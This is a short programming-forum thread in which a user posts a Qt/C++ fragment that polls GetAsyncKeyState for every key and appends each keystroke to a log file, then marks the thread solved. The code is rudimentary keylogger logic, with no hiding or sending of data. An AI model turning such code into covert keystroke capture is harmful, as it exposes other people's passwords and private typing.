Results 1 to 2 of 2

Thread: capturing keystrokes help

  1. #1
    Join Date
    Sep 2016
    Posts
    78
    Thanked 1 Time in 1 Post
    Qt products
    Qt5

    Default capturing keystrokes help

    I am trying to capture my keystrokes but sometimes doesnt write some letters well or the phrase that i wrote.
    Code:
    Qt Code:
    1. if(num>=32)
    2. {
    3.  
    4. log.open(QFile::Append);
    5. cadenaa.append(num);
    6. log.write(cadenaa);
    7. cadenaa.clear();
    8. log.close();
    9. }
    10. if(num==13){
    11. log.open(QFile::Append);
    12. log.write("\n");
    13. log.close();
    14.  
    15. }
    16. short comprobarTeclas()
    17. {
    18. short i = 0;
    19. for(i = 0; i < 255; i++){
    20. if(GetAsyncKeyState(i) == -32767)
    21. return i;
    22. }
    23. return 0;
    24. }
    To copy to clipboard, switch view to plain text mode 
    Some suggestion good received
    Last edited by anda_skoa; 6th October 2016 at 15:54. Reason: missing [code] tags

  2. #2
    Join Date
    Sep 2016
    Posts
    78
    Thanked 1 Time in 1 Post
    Qt products
    Qt5

    Default Re: capturing keystrokes help

    solved solved not necessary use this

Similar Threads

  1. Help with this: send keystrokes
    By davinciomare in forum Newbie
    Replies: 5
    Last Post: 26th September 2016, 10:06
  2. keystrokes problem
    By cafu1007 in forum Qt Programming
    Replies: 9
    Last Post: 26th May 2011, 03:08
  3. Capturing Video
    By ashkan in forum Newbie
    Replies: 0
    Last Post: 4th February 2009, 11:15
  4. Sending keystrokes to other Applications (Windows XP)
    By skainz in forum Qt Programming
    Replies: 1
    Last Post: 11th May 2007, 09:51
  5. Mouse Capturing
    By ToddAtWSU in forum Qt Programming
    Replies: 1
    Last Post: 24th August 2006, 19:37

Bookmarks

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •  
Digia, Qt and their respective logos are trademarks of Digia Plc in Finland and/or other countries worldwide.